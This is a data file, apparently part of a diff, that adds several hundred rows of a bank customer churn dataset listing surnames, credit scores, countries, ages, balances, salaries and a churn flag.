+813,15578980,Piazza,516,Spain,Female,33,3,0,2,1,1,58685.59,0 +814,15775306,Ni,421,Germany,Male,28,8,122384.22,3,1,1,89017.38,1 +815,15641655,Black,700,France,Female,26,2,0,2,0,0,50051.42,0 +816,15619708,Harker,745,France,Male,25,5,157993.15,2,1,0,146041.45,0 +817,15734565,Hughes,696,France,Male,29,8,0,2,1,0,191166.09,0 +818,15806438,Chiabuotu,580,Germany,Female,42,2,123331.36,1,0,0,103516.08,1 +819,15591969,Kuo,497,Spain,Male,27,9,75263.16,1,1,1,164825.04,0 +820,15747807,Gallagher,720,France,Female,43,6,137824.03,2,1,0,172557.77,0 +821,15596939,Calabresi,659,Germany,Male,36,4,132578.92,2,1,0,84320.94,0 +822,15716155,Shaw,841,France,Female,36,5,156021.31,1,0,0,122662.98,0 +823,15765311,Zhirov,642,Spain,Male,34,8,0,1,1,0,72085.1,0 +824,15757811,Lloyd,732,Spain,Female,69,9,137453.43,1,0,1,110932.24,1 +825,15603830,Palmer,600,Spain,Male,36,4,0,2,1,0,143635.36,0 +826,15660602,Ch'eng,464,Germany,Male,33,8,164284.72,2,1,1,3710.34,0 +827,15660535,Avent,680,France,Female,47,5,0,2,1,1,179843.33,0 +828,15666633,Huang,758,Spain,Male,56,1,0,2,1,1,10643.38,0 +829,15596914,Shaw,630,Germany,Female,31,2,112373.49,2,1,1,131167.98,0 +830,15639788,Yuan,577,France,Female,39,10,0,2,1,0,10553.31,0 +831,15695846,Hawkins,684,France,Female,34,6,0,2,1,1,130928.22,0 +832,15726234,Trentini,708,Spain,Female,41,5,0,1,0,1,157003.99,0 +833,15797964,Cameron,732,Germany,Female,29,1,154333.82,1,1,1,138527.56,0 +834,15625881,Koehler,634,Germany,Male,37,3,111432.77,2,1,1,167032.49,0 +835,15780628,Wu,633,France,Female,30,6,0,2,0,0,41642.29,0 +836,15575883,Manna,559,France,Male,34,2,137390.11,2,1,0,9677,0 +837,15585036,Okoli,694,Spain,Female,37,3,0,2,1,1,147012.22,0 +838,15589488,Ch'eng,686,Germany,Female,56,5,111642.08,1,1,1,80553.87,0 +839,15585888,Nwokezuike,553,Spain,Female,48,3,0,1,0,1,30730.95,1 +840,15727915,Artemiev,507,France,Male,36,4,83543.37,1,0,0,140134.43,0 +841,15707567,Esposito,732,Germany,Male,50,6,145338.76,1,0,0,91936.1,1 +842,15737792,Abbie,818,France,Female,31,1,186796.37,1,0,0,178252.63,0 +843,15599433,Fanucci,660,Germany,Male,35,8,58641.43,1,0,1,198674.08,0 +844,15672012,Jen,773,Spain,Female,41,5,0,1,1,0,28266.9,1 +845,15806983,Moss,640,France,Male,44,3,137148.68,1,1,0,92381.01,0 +846,15592222,Lo,505,France,Male,49,7,80001.23,1,0,0,135180.11,0 +847,15608968,Averyanov,714,Germany,Male,21,6,86402.52,2,0,0,27330.59,0 +848,15586959,Unaipon,468,France,Female,42,5,0,2,1,0,125305.34,0 +849,15646558,Clamp,611,Spain,Male,51,1,122874.74,1,1,1,149648.45,0 +850,15725811,Lim,705,France,Male,25,0,97544.29,1,0,1,59887.15,0 +851,15572265,Wu,646,Germany,Male,46,1,170826.55,2,1,0,45041.32,0 +852,15794048,Wan,667,Germany,Female,48,1,97133.92,2,0,0,113316.77,1 +853,15677610,Chambers,511,Germany,Female,41,8,153895.65,1,1,1,39087.42,0 +854,15745012,Pettit,653,France,Female,43,6,0,2,1,1,7330.59,0 +855,15601589,Baresi,675,France,Female,57,8,0,2,0,1,95463.29,0 +856,15686436,Newbery,523,Spain,Male,32,4,0,2,1,0,167848.02,0 +857,15693864,Iheanacho,567,Germany,Female,49,5,134956.02,1,1,0,93953.84,1 +858,15760550,Duncan,741,Spain,Male,39,7,143637.58,2,0,1,174227.66,0 +859,15686137,Barry,456,Spain,Male,32,9,147506.25,1,1,1,135399.21,0 +860,15809087,Landry,598,France,Male,64,1,0,2,1,0,195635.3,1 +861,15807663,McGregor,667,France,Male,43,8,190227.46,1,1,0,97508.04,1 +862,15809100,Nucci,548,France,Female,32,2,172448.77,1,1,0,188083.77,1 +863,15794916,Pirogov,725,France,Male,41,7,113980.21,1,1,1,116704.25,0 +864,15614215,Oguejiofor,717,France,Male,53,6,0,2,0,1,97614.87,0 +865,15805449,Ugochukwu,594,France,Male,38,4,0,2,0,0,186884.04,0 +866,15686983,Rohu,678,Germany,Female,25,10,76968.12,2,0,1,131501.72,0 +867,15808017,Cary,545,France,Male,38,1,88293.13,2,1,1,24302.95,0 +868,15756804,O'Loghlen,636,France,Female,48,1,170833.46,1,1,0,110510.28,1 +869,15646810,Quinn,603,Germany,Male,44,6,108122.39,2,1,0,108488.33,1 +870,15710424,Page,435,France,Male,36,4,0,1,1,1,197015.2,0 +871,15799422,Evans,535,France,Female,40,8,0,1,1,1,27689.77,0 +872,15692750,McGregor,629,Germany,Female,45,7,129818.39,3,1,0,9217.55,1 +873,15794549,Andrews,722,France,Female,35,2,163943.89,2,1,1,15068.18,0 +874,15803764,Stanley,561,France,Male,28,7,0,2,1,0,7797.01,0 +875,15674840,Chiazagomekpere,645,France,Female,38,5,101430.3,2,0,1,4400.32,0 +876,15653762,Chidiebele,501,France,Female,39,9,117301.66,1,0,0,182025.95,0 +877,15581229,Gregory,502,Germany,Female,32,1,173340.83,1,0,1,122763.95,0 +878,15800228,Bednall,652,Spain,Female,42,4,0,2,1,1,38152.01,0 +879,15656333,Jen,574,France,Female,33,3,134348.57,1,1,0,63163.99,0 +880,15697497,She,518,France,Female,45,9,105525.65,2,1,1,73418.29,0 +881,15585362,Simmons,749,France,Female,60,6,0,1,1,0,17978.68,1 +882,15571928,Fraser,679,France,Female,43,4,0,3,1,0,115136.51,1 +883,15785519,May,565,France,Male,36,6,106192.1,1,1,0,149575.59,0 +884,15743007,Seabrook,643,France,Female,45,4,45144.43,1,1,0,60917.24,1 +885,15777211,Herrera,515,France,Male,65,7,92113.61,1,1,1,142548.33,0 +886,15721935,Kincaid,521,France,Male,25,7,0,2,1,1,157878.67,0 +887,15591711,Sleeman,739,Spain,Male,38,0,128366.44,1,1,0,12796.43,0 +888,15625021,Hung,585,France,Male,42,2,0,2,1,1,18657.77,0 +889,15702968,Artemieva,733,Germany,Male,74,3,106545.53,1,1,1,134589.58,0 +890,15600462,Barwell,542,France,Female,43,8,145618.37,1,0,1,10350.74,0 +891,15768104,Wright,788,Spain,Male,37,8,141541.25,1,0,0,66013.27,0 +892,15780140,Bellucci,435,Germany,Male,32,2,57017.06,2,1,1,5907.11,0 +893,15585255,Moore,577,France,Male,42,9,0,1,1,0,74077.91,0 +894,15772781,Ball,703,France,Female,51,3,0,3,1,1,77294.56,1 +895,15669987,Sung,728,Germany,Female,35,8,125884.95,2,1,0,54359.02,1 +896,15697000,Mello,728,Germany,Male,32,5,61825.5,1,1,1,156124.93,0 +897,15733119,Mistry,718,France,Male,35,8,0,2,1,0,94820.85,0 +898,15782390,T'ien,621,France,Female,40,6,0,1,1,0,155155.25,0 +899,15654700,Fallaci,523,France,Female,40,2,102967.41,1,1,0,128702.1,1 +900,15632210,Hill,657,Germany,Male,25,2,171770.55,1,1,0,22745.5,0 +901,15642041,Burns,727,Germany,Male,40,1,93051.64,2,1,0,71865.31,1 +902,15709737,Hunter,643,France,Male,36,7,161064.64,2,0,1,84294.82,0 +903,15792388,Li,645,France,Female,48,7,90612.34,1,1,1,149139.13,0 +904,15786014,Ku,568,France,Male,28,5,145105.64,2,1,0,185489.11,0 +905,15794580,Ch'en,599,France,Male,58,4,0,1,0,0,176407.15,1 +906,15675964,Chukwukadibia,672,France,Female,45,9,0,1,1,1,92027.69,1 +907,15814275,Zikoranachidimma,685,France,Male,33,6,174912.72,1,1,1,43932.54,0 +908,15724848,Oluchukwu,516,France,Female,46,1,104947.72,1,1,0,115789.25,1 +909,15754713,Rivera,685,Spain,Male,31,10,135213.71,1,1,1,125777.28,0 +910,15693814,Niu,806,Spain,Male,25,7,0,2,1,0,18461.9,0 +911,15599660,Bennett,604,France,Male,36,6,116229.85,2,1,1,79633.38,0 +912,15746490,Wollstonecraft,648,Spain,Female,53,6,111201.41,1,1,1,121542.29,0 +913,15566091,Thomsen,545,Spain,Female,32,4,0,1,1,0,94739.2,0 +914,15655961,Palermo,756,Germany,Male,27,1,131899,1,1,0,93302.29,0 +915,15710404,Chinwendu,569,France,Male,35,10,124525.52,1,1,1,193793.78,0 +916,15775625,McKenzie,596,France,Male,47,6,0,1,1,0,74835.65,0 +917,15792328,James,475,France,Male,39,6,0,1,1,1,56999.9,1 +918,15719856,Lamb,646,France,Female,45,3,47134.75,1,1,1,57236.44,0 +919,15593773,Olejuru,784,Spain,Male,35,3,0,2,0,0,81483.64,0 +920,15733114,Hay,552,Spain,Male,45,9,0,2,1,0,26752.56,0 +921,15797748,Lu,729,France,Male,44,5,0,2,0,1,9200.54,0 +922,15743411,Chiawuotu,609,Spain,Male,61,1,0,1,1,0,22447.85,1 +923,15753337,Yeates,555,France,Male,51,5,0,3,1,0,189122.89,1 +924,15601026,Gallagher,572,Germany,Female,19,1,138657.08,1,1,1,16161.82,0 +925,15658485,Heath,785,France,Female,34,9,70302.48,1,1,1,68600.36,0 +926,15636731,Ts'ai,714,Germany,Female,36,1,101609.01,2,1,1,447.73,0 +927,15628303,Thurgood,738,Spain,Male,35,3,0,1,1,1,15650.73,0 +928,15633461,Pai,639,Germany,Male,38,5,130170.82,1,1,1,149599.62,0 +929,15677135,Lorenzo,520,Germany,Male,61,8,133802.29,2,1,1,90304.01,0 +930,15590876,Knupp,764,France,Female,24,7,106234.02,1,0,0,115676.38,0 +931,15790782,Baryshnikov,661,Spain,Male,39,6,132628.98,1,0,0,38812.67,0 +932,15700476,Azubuike,564,Germany,Male,41,9,103522.75,2,1,1,34338.21,0 +933,15634141,Shephard,708,Germany,Female,42,8,192390.52,2,1,0,823.36,0 +934,15737795,Scott,512,Spain,Male,36,1,0,1,0,1,135482.26,1 +935,15790299,Williamson,592,Spain,Male,37,9,0,3,1,1,10656.89,0 +936,15675316,Avdeeva,619,France,Female,38,3,0,2,0,1,116467.35,0 +937,15613630,Tang,775,France,Male,52,8,109922.61,1,1,1,96823.32,1 +938,15662100,Hsu,850,Germany,Female,44,5,128605.32,1,0,1,171096.2,0 +939,15668032,Buchanan,577,France,Female,37,4,0,1,1,1,79881.39,0 +940,15599289,Yeh,724,France,Female,37,10,68598.56,1,1,0,157862.82,0 +941,15754084,Palazzi,710,Spain,Male,35,1,106518.52,1,1,1,127951.81,0 +942,15676521,Y?an,696,France,Female,31,8,0,2,0,0,191074.11,0 +943,15804586,Lin,376,France,Female,46,6,0,1,1,0,157333.69,1 +944,15781465,Schofield,675,Germany,Female,29,8,121326.42,1,1,0,133457.52,0 +945,15729362,Lombardi,745,France,Male,36,8,67226.37,1,1,0,130789.6,0 +946,15709295,Wall,697,Spain,Female,25,5,82931.85,2,1,1,128373.88,0 +947,15745324,Milani,599,Spain,Female,39,4,0,1,1,0,194273.2,1 +948,15741336,Ejimofor,715,France,Female,38,5,118590.41,1,1,1,5684.17,1 +949,15783659,Blackburn,659,France,Male,67,4,145981.87,1,1,1,131043.2,0 +950,15620981,Wickham,684,France,Female,48,3,73309.38,1,0,0,21228.34,1 +951,15630328,Bird,635,France,Female,48,8,130796.33,2,1,1,43250.3,0 +952,15785899,Ch'en,789,Germany,Male,33,8,151607.56,1,1,0,4389.4,0 +953,15606149,Wood,571,Germany,Female,66,9,111577.01,1,0,1,189271.9,0 +954,15671139,Brizendine,694,Spain,Male,39,0,107042.74,1,1,1,102284.2,0 +955,15660429,Ch'in,665,Spain,Female,42,2,156371.61,2,0,1,156774.94,1 +956,15571002,Yusupov,706,France,Female,44,4,129605.99,1,0,0,69865.49,0 +957,15631681,Jibunoh,807,Spain,Female,43,0,0,2,0,1,85523.24,0 +958,15731522,Ts'ui,771,Spain,Female,67,8,0,2,1,1,51219.8,0 +959,15619529,Ndukaku,531,Spain,Male,27,8,132576.25,1,0,0,7222.92,0 +960,15628034,Wilder,629,France,Female,37,6,129101.3,1,1,1,23971.33,0 +961,15686164,Maclean,850,Germany,Female,31,1,108822.4,1,1,1,132173.31,0 +962,15582797,Ch'iu,685,Spain,Male,35,4,137948.51,1,1,0,113639.64,0 +963,15753831,Cox,642,Spain,Male,32,7,100433.8,1,1,1,39768.59,0 +964,15731815,Nepean,529,Spain,Male,63,4,96134.11,3,1,0,108732.96,1 +965,15580956,McNess,683,Germany,Female,43,4,115888.04,1,1,1,117349.19,1 +966,15602084,Coles,663,France,Female,42,5,124626.07,1,1,1,78004.5,0 +967,15589805,Benson,563,France,Female,34,6,139810.34,1,1,1,152417.79,0 +968,15720893,Gilbert,637,Spain,Female,34,9,0,2,0,0,26057.08,0 +969,15641009,Wilhelm,544,France,Male,37,3,84496.71,1,0,0,79972.09,0 +970,15605926,Sinclair,649,Germany,Male,70,9,116854.71,2,0,1,107125.79,0 +971,15805955,L?,638,France,Female,48,10,138333.03,1,1,1,47679.14,0 +972,15801488,Buckner,723,France,Male,25,3,0,2,1,1,134509.47,0 +973,15605918,Padovesi,635,Germany,Male,43,5,78992.75,2,0,0,153265.31,0 +974,15779711,Gray,750,Spain,Female,38,7,97257.41,2,0,1,179883.04,0 +975,15705620,Lu,730,France,Male,34,5,122453.37,2,1,0,138882.98,0 +976,15685357,Wright,750,Spain,Female,36,8,112940.07,1,0,1,9855.81,0 +977,15570060,Palerma,586,France,Female,43,8,132558.26,1,1,0,67046.83,1 +978,15582616,Y?an,520,France,Female,38,4,0,2,1,0,56388.63,0 +979,15799515,Wei,652,France,Female,48,8,133297.24,1,1,0,77764.37,0 +980,15642937,Padovesi,550,France,Female,46,7,0,2,1,0,130590.35,0 +981,15624729,Tsao,594,France,Male,27,0,197041.8,1,0,0,151912.49,0 +982,15566156,Franklin,749,Germany,Female,44,0,71497.79,2,0,0,151083.8,0 +983,15792360,Clark,668,France,Male,32,7,0,2,1,1,777.37,0 +984,15807008,McGregor,614,Germany,Female,35,6,128100.28,1,0,0,69454.24,1 +985,15704770,Pan,773,France,Male,25,1,124532.78,2,0,1,11723.57,0 +986,15756475,Kenniff,551,Germany,Male,31,9,82293.82,2,1,1,91565.25,0 +987,15655339,Spencer,566,France,Male,36,1,142120.91,1,1,0,79616.37,0 +988,15613749,Lees,569,Spain,Male,34,0,151839.26,1,1,0,102299.81,1 +989,15664521,David,659,Spain,Male,31,7,149620.88,2,1,1,104533.51,0 +990,15681206,Hsing,722,France,Female,49,3,168197.66,1,1,0,140765.57,1 +991,15745527,Burke,655,France,Male,37,5,93147,2,1,0,66214.13,0 +992,15806926,Watson,615,France,Female,35,2,97440.02,2,1,1,139816.1,0 +993,15724563,Hawkins,752,Germany,Female,42,3,65046.08,2,0,1,140139.28,0 +994,15782899,Ginn,661,Spain,Female,28,7,95357.49,1,0,0,102297.15,0 +995,15623521,Sozonov,838,Spain,Male,43,9,123105.88,2,1,0,145765.83,0 +996,15810218,Sun,610,Spain,Male,29,9,0,3,0,1,83912.24,0 +997,15645621,Hunter,811,Spain,Male,44,3,0,2,0,1,78439.73,0 +998,15608114,Manfrin,587,Spain,Male,62,7,121286.27,1,0,1,6776.92,0 +999,15659557,Artamonova,811,Germany,Female,28,4,167738.82,2,1,1,9903.42,0 +1000,15787772,Hansen,759,France,Female,38,1,104091.29,1,0,0,91561.91,0 +1001,15691111,Pai,648,Germany,Female,42,8,121980.56,2,1,0,4027.02,0 +1002,15592089,Larsen,788,France,Female,43,10,0,2,1,1,116111.51,0 +1003,15633897,Owen,725,Germany,Male,39,1,50880.98,2,1,1,184023.54,0 +1004,15701301,Murphy,646,France,Female,42,3,175159.9,2,0,0,67124.48,1 +1005,15723685,Ekechukwu,601,Germany,Female,26,7,105514.69,2,1,0,50070.59,0 +1006,15701602,Ayers,521,Germany,Male,52,5,116497.31,3,0,0,53793.1,1 +1007,15739189,Johnson,561,Spain,Female,33,6,0,2,1,0,45261.47,0 +1008,15573086,Millar,564,France,Male,42,7,99824.45,1,1,1,36721.4,0 +1009,15569050,Farrell,444,France,Male,45,6,0,1,1,0,130009.85,1 +1010,15750765,Sanders,650,Spain,Male,71,0,0,1,1,1,175380.77,0 +1011,15799811,Herrera,724,France,Male,40,10,0,1,1,0,127847.25,1 +1012,15698442,Eberechukwu,719,Spain,Male,35,3,122964.88,1,1,1,138231.7,0 +1013,15655274,Bardin,548,France,Female,29,4,0,2,0,1,48673.18,0 +1014,15603594,Nwankwo,635,Spain,Male,24,4,0,2,1,1,70668.77,0 +1015,15585961,Talbot,496,Spain,Female,43,3,0,2,0,1,199505.53,0 +1016,15686936,McGregor,676,France,Female,37,5,89634.69,1,1,1,169583.18,1 +1017,15770424,Onyeorulu,541,Germany,Male,40,7,95710.11,2,1,0,49063.42,0 +1018,15587451,Goold,778,Germany,Male,41,7,139706.31,1,1,0,63337.19,0 +1019,15602010,Zikoranaudodimma,850,Germany,Female,45,5,103909.86,1,1,0,60083.11,1 +1020,15600583,Garner,633,France,Male,31,1,0,1,1,0,48606.71,0 +1021,15654673,Onyinyechukwuka,625,France,Male,49,6,173434.9,1,1,0,165580.93,1 +1022,15717164,Genovese,485,Spain,Male,32,6,102238.01,2,1,1,194010.12,0 +1023,15765014,Mai,547,France,Female,48,1,179380.74,2,0,1,69263.1,0 +1024,15682639,Marshall,642,France,Male,32,3,0,2,1,1,88698.83,0 +1025,15729279,Naylor,718,France,Female,25,4,108691.95,1,1,0,63030.97,0 +1026,15759805,Pinto,582,France,Female,32,4,0,2,1,0,59668.81,0 +1027,15767864,Fulton,628,France,Male,33,6,0,2,0,0,184230.23,0 +1028,15769948,Palerma,737,Germany,Male,35,0,133377.8,1,0,1,64050.19,0 +1029,15686345,McCaffrey,828,Spain,Male,34,9,0,2,1,1,81853.98,0 +1030,15688071,Collins,609,Spain,Male,53,10,0,1,1,1,154642.91,0 +1031,15681174,Zuev,730,France,Male,39,1,116537.6,1,0,0,145679.6,0 +1032,15667521,Crawford,631,France,Female,22,3,0,2,0,0,30781.77,0 +1033,15750243,Genovese,830,Spain,Male,40,4,0,2,0,1,81622.52,0 +1034,15695475,Maclean,645,France,Male,29,1,130131.08,2,0,1,196474.35,0 +1035,15689176,Fabro,663,France,Male,46,3,0,2,0,1,176276.1,0 +1036,15652955,Price,678,Spain,Male,30,0,0,1,1,0,35113.08,0 +1037,15668958,Chatfield,521,France,Male,30,2,107316.09,1,1,0,64299.82,0 +1038,15631054,Volkova,625,France,Female,24,1,0,2,1,1,180969.55,0 +1039,15581479,Archer,523,France,Male,30,1,83181.29,1,1,1,138176.78,0 +1040,15577478,Ch'iu,714,France,Female,72,3,0,1,1,1,86733.61,0 +1041,15780870,McKay,580,Spain,Male,67,3,153946.14,1,1,1,7418.92,0 +1042,15692317,Craig,722,France,Male,30,5,0,2,1,0,166376.54,0 +1043,15593969,Abramovich,630,Spain,Female,39,7,135483.17,1,1,0,140881.2,1 +1044,15570417,Chien,579,France,Male,35,1,0,2,1,0,4460.2,0 +1045,15779059,Timms,670,France,Female,38,4,119624.54,2,1,1,110472.12,0 +1046,15785980,Williford,588,Spain,Male,34,6,121132.26,2,1,0,86460.28,0 +1047,15644200,Hamilton,807,Spain,Female,42,1,0,1,1,0,16500.66,1 +1048,15793949,Cheng,726,France,Female,48,4,0,1,1,0,114020.06,1 +1049,15645103,Su,812,Germany,Male,25,5,54817.55,1,1,0,131660.31,0 +1050,15705860,McKenzie,631,Germany,Male,40,3,107949.45,1,1,0,52449.62,1 +1051,15623828,Akobundu,682,France,Male,30,4,0,1,0,1,161465.31,0 +1052,15715003,Ko,625,Spain,Female,49,2,80816.45,1,1,1,20018.79,0 +1053,15623471,Marcelo,607,Germany,Male,38,3,98205.77,1,1,0,176318.27,0 +1054,15798348,Chukwuebuka,600,Spain,Female,50,6,94684.27,1,1,1,50488.91,0 +1055,15743016,MacDonald,602,Spain,Female,22,7,141604.76,1,1,0,30379.6,0 +1056,15769499,Lampungmeiua,545,Spain,Female,74,3,0,2,1,1,161326.73,0 +1057,15798521,Tai,675,Spain,Male,33,3,0,2,1,0,45348.08,0 +1058,15706534,Enyinnaya,581,France,Female,47,1,122949.14,1,0,0,180251.68,1 +1059,15706186,McKenzie,640,Germany,Male,33,8,81677.22,2,0,0,34925.56,0 +1060,15812197,Kline,850,France,Male,38,7,80293.98,1,0,0,126555.74,0 +1061,15650933,Ma,490,Spain,Female,48,8,155413.06,1,1,0,187921.3,0 +1062,15692991,Wood,710,Spain,Female,38,4,0,2,1,1,136390.88,0 +1063,15631189,Riggs,613,Germany,Male,38,9,67111.65,1,1,0,78566.64,1 +1064,15762198,Capon,812,France,Male,34,5,103818.43,1,1,1,166038.27,0 +1065,15699598,Smith,723,France,Female,20,4,0,2,1,1,140385.33,0 +1066,15692744,Davison,512,France,Male,36,4,152169.12,2,0,0,38629.3,1 +1067,15688963,Ingram,731,France,Female,52,10,0,1,1,1,24998.75,1 +1068,15599131,Dilke,650,Germany,Male,26,4,214346.96,2,1,0,128815.33,0 +1069,15680303,Gibson,594,France,Male,57,6,0,1,1,0,19376.56,1 +1070,15628674,Iadanza,844,France,Male,40,7,113348.14,1,1,0,31904.31,1 +1071,15648075,Hebert,686,Germany,Female,47,5,170935.94,1,1,0,173179.79,1 +1072,15586970,Pinto,695,Germany,Male,52,8,103023.26,1,1,1,22485.64,0 +1073,15625698,Dumetochukwu,624,Spain,Female,23,6,0,2,0,1,196668.51,0 +1074,15790497,Ross,503,Spain,Male,37,6,0,2,0,0,136506.86,0 +1075,15682618,Jamieson,535,France,Female,31,7,111855.04,2,1,1,36278.89,0 +1076,15762937,Chiganu,743,Germany,Female,32,6,140348.56,2,1,1,163254.39,0 +1077,15750929,Burgess,702,Spain,Male,39,8,0,2,1,0,99654.13,0 +1078,15729832,Cheng,658,France,Male,29,3,145512.84,1,1,0,20207.02,0 +1079,15633650,Woods,677,Germany,Female,41,8,146720.98,2,1,1,4195.84,0 +1080,15748856,Liang,664,France,Male,32,10,107209.73,1,1,1,112340.2,0 +1081,15589195,Bluett,766,Germany,Female,38,7,130933.74,1,0,1,2035.94,0 +1082,15699911,Chapman,461,Spain,Female,35,8,0,1,1,0,132295.95,0 +1083,15663438,Andrejew,688,Spain,Male,36,0,89772.3,1,1,0,177383.68,1 +1084,15692583,Udobata,678,France,Female,32,5,0,2,1,0,90284.47,0 +1085,15591257,Ejimofor,796,France,Male,24,8,0,2,1,0,61349.37,0 +1086,15646513,Spyer,803,France,Male,42,5,0,1,1,0,196466.83,1 +1087,15708063,Walker,712,France,Male,36,2,100749.5,3,0,0,70758.37,1 +1088,15696098,Palermo,498,France,Female,31,10,0,2,1,0,13892.57,0 +1089,15645517,Philip,850,Spain,Male,22,2,0,2,1,1,9684.52,0 +1090,15649744,Fallaci,628,France,Female,51,3,123981.31,2,1,1,40546.15,0 +1091,15604304,Perry,539,Germany,Female,34,4,91622.42,1,1,1,136603.42,0 +1092,15784092,Henderson,732,France,Male,36,7,126195.81,1,1,1,133172.48,0 +1093,15585198,Bergamaschi,715,France,Male,41,4,94267.9,1,0,1,152821.12,1 +1094,15624347,Fokine,651,France,Male,40,4,0,2,1,1,147715.83,0 +1095,15621687,Mackay,813,France,Male,34,0,0,2,1,0,43169.15,0 +1096,15689081,Wu,692,France,Male,29,4,0,1,1,0,76755.99,1 +1097,15813168,Maslova,756,Germany,Female,39,3,100717.85,3,1,1,73406.04,1 +1098,15604295,Wei,543,France,Male,36,6,0,2,1,0,176728.28,0 +1099,15724127,McLean,790,France,Female,26,4,141581.71,2,0,0,98309.27,0 +1100,15673055,Sung,494,Spain,Male,38,7,0,2,1,1,6203.66,0 +1101,15768201,Paterson,850,France,Female,39,2,148586.64,1,1,1,176791.27,0 +1102,15782219,Fanucci,703,Spain,Male,29,9,0,2,1,0,50679.48,0 +1103,15746410,Thompson,432,Spain,Male,38,7,0,2,1,0,150580.88,0 +1104,15780144,Tisdall,512,Germany,Female,32,2,123403.85,2,1,0,80120.19,0 +1105,15590476,Onochie,589,France,Male,28,7,0,2,1,0,151645.96,0 +1106,15624293,Mironova,514,France,Female,46,3,106511.85,1,1,0,55072.32,0 +1107,15618182,Ndubueze,678,France,Female,38,2,0,2,0,0,115068.99,0 +1108,15660316,Stephenson,420,Germany,Female,34,1,135549.9,1,0,0,149471.13,1 +1109,15678886,Golubev,679,Germany,Male,38,7,110555.37,2,1,0,46522.68,0 +1110,15616330,Liao,595,France,Male,31,4,0,2,1,0,189995.86,0 +1111,15592229,Mullan,713,France,Female,52,0,185891.54,1,1,1,46369.57,1 +1112,15798424,Glover,833,Germany,Male,59,1,130854.59,1,1,1,30722.52,1 +1113,15714750,Northey,690,France,Female,42,3,92578.14,2,0,0,70810.6,0 +1114,15648800,Paterson,731,Germany,Female,21,8,132312.06,1,1,0,106663.46,1 +1115,15626147,Maclean,608,France,Female,62,8,144976.5,1,0,0,175836.03,1 +1116,15626608,Howarde,479,Spain,Male,48,5,87070.23,1,0,1,85646.41,0 +1117,15723250,Teng,519,France,Male,42,8,0,2,1,1,101485.72,0 +1118,15592583,Colman,731,France,Female,47,1,115414.19,3,0,0,191734.67,1 +1119,15759381,Johnson,617,Spain,Male,61,7,91070.43,1,1,1,101839.77,0 +1120,15585241,Butcher,756,Spain,Male,29,2,117412.19,2,1,0,4888.91,0 +1121,15589358,Stanley,848,Germany,Male,31,4,90018.45,2,1,0,193132.98,0 +1122,15672704,Jackson,809,France,Female,24,4,0,2,1,0,193518.76,0 +1123,15789955,Hu,698,Germany,Male,56,1,112414.81,2,0,0,93982.02,1 +1124,15596800,Hill,779,Germany,Male,33,1,158456.76,1,1,1,197000.92,1 +1125,15627305,Pan,606,Spain,Male,35,7,0,1,1,0,106837.06,1 +1126,15645316,Han,612,Germany,Female,58,1,149641.53,1,1,1,115161.28,0 +1127,15593973,Wilkie,663,Spain,Female,33,8,122528.18,1,1,0,196260.3,0 +1128,15647301,Bray,549,Germany,Female,45,3,143734.01,2,1,1,96404.38,0 +1129,15750258,Ann,675,France,Female,32,2,155663.31,1,1,0,97658.66,0 +1130,15685309,Souter,669,France,Female,35,7,0,1,1,1,49108.23,1 +1131,15628205,Greco,571,Germany,Female,34,1,101736.66,1,0,1,195651.66,0 +1132,15733974,Mao,500,Spain,Male,37,9,125822.21,1,1,0,111698,0 +1133,15762110,Anderson,628,France,Male,37,0,0,2,1,1,171707.93,0 +1134,15706899,Ma,559,France,Male,34,4,0,2,1,1,66721.98,0 +1135,15732660,Black,769,France,Female,27,2,0,1,1,1,57876.05,0 +1136,15656121,Medvedeva,733,Germany,Male,31,6,157791.07,2,0,0,177994.81,0 +1137,15614220,Benson,750,France,Male,22,5,0,2,0,1,105125.65,0 +1138,15645269,Duncan,583,France,Female,42,4,0,2,1,0,17439.66,0 +1139,15698510,Onwudiwe,468,Germany,Male,42,9,181627.14,2,1,0,172668.39,0 +1140,15569247,Mitchell,727,Spain,Female,57,1,109679.72,1,0,1,753.37,0 +1141,15566251,Ferrari,618,France,Female,37,5,96652.86,1,1,0,98686.4,1 +1142,15716134,Russo,617,France,Male,40,5,190008.32,2,1,1,107047.92,0 +1143,15763625,Hazon,793,Spain,Male,41,9,0,2,1,0,152153.74,0 +1144,15605965,Henderson,630,France,Male,43,9,0,2,1,1,34338.04,0 +1145,15694821,Hardy,765,Germany,Male,43,4,148962.76,1,0,1,173878.87,1 +1146,15601688,Piccio,546,France,Male,28,8,0,1,1,0,159254.29,0 +1147,15575581,Dickson,614,Germany,Female,30,3,131344.52,2,1,0,54776.64,0 +1148,15671209,Holden,593,Germany,Female,29,5,101713.84,3,1,0,134594.99,0 +1149,15616529,Hsieh,613,Spain,Male,34,3,0,1,1,1,41724.72,0 +1150,15773906,Doherty,655,France,Male,38,4,0,2,0,0,110527.71,0 +1151,15722993,Page,700,France,Female,27,6,137963.07,1,0,0,8996.79,0 +1152,15752463,Samuel,826,Spain,Female,29,4,129938.07,1,0,1,190200.53,0 +1153,15589754,Malloy,652,Germany,Male,45,2,151421.44,1,0,1,115333.43,0 +1154,15669899,Fitts,755,Germany,Female,45,7,135643,1,0,0,143619.52,1 +1155,15766887,Iadanza,538,Spain,Male,39,2,122773.5,2,1,1,58467.08,0 +1156,15768006,Wu,729,France,Male,34,3,152303.8,1,1,0,12128.69,0 +1157,15741295,Yefimova,615,France,Male,49,3,0,2,1,1,49872.33,0 +1158,15811327,Pan,700,Spain,Male,54,1,79415.67,1,0,1,139735.54,0 +1159,15690007,Ts'ui,434,Germany,Female,58,9,125801.03,2,1,0,60891.8,1 +1160,15690664,Liang,729,Spain,Male,37,10,0,2,1,0,100862.54,0 +1161,15719348,Tsao,513,France,Male,35,8,0,1,1,0,76640.29,1 +1162,15781802,Abramov,755,France,Male,41,6,104817.41,1,1,0,126013.58,1 +1163,15752731,Millar,615,France,Female,30,9,0,1,1,0,87347.82,0 +1164,15600997,Demuth,747,Germany,Female,32,5,67495.04,2,0,1,77370.37,0 +1165,15750776,Genovese,850,France,Female,36,0,164850.54,1,1,1,62722.44,0 +1166,15723907,Lawless,712,Germany,Female,49,5,154776.42,2,0,0,196257.68,0 +1167,15633419,Brooks,622,Germany,Female,28,1,143124.63,2,1,0,81723.8,0 +1168,15702430,Ignatyeva,548,France,Female,35,10,0,1,1,1,31299.71,0 +1169,15710456,Balmain,607,France,Female,27,2,0,2,1,0,63495.86,0 +1170,15650351,Millar,653,France,Female,38,8,102133.38,1,1,1,166520.96,0 +1171,15590820,Ecuyer,699,Spain,Male,26,6,79932.41,1,0,0,150242.44,0 +1172,15640454,Parkhill,693,Germany,Male,40,0,120711.73,1,0,0,27345.18,1 +1173,15697789,Li Fonti,647,Germany,Female,43,3,122717.53,2,1,1,87000.39,0 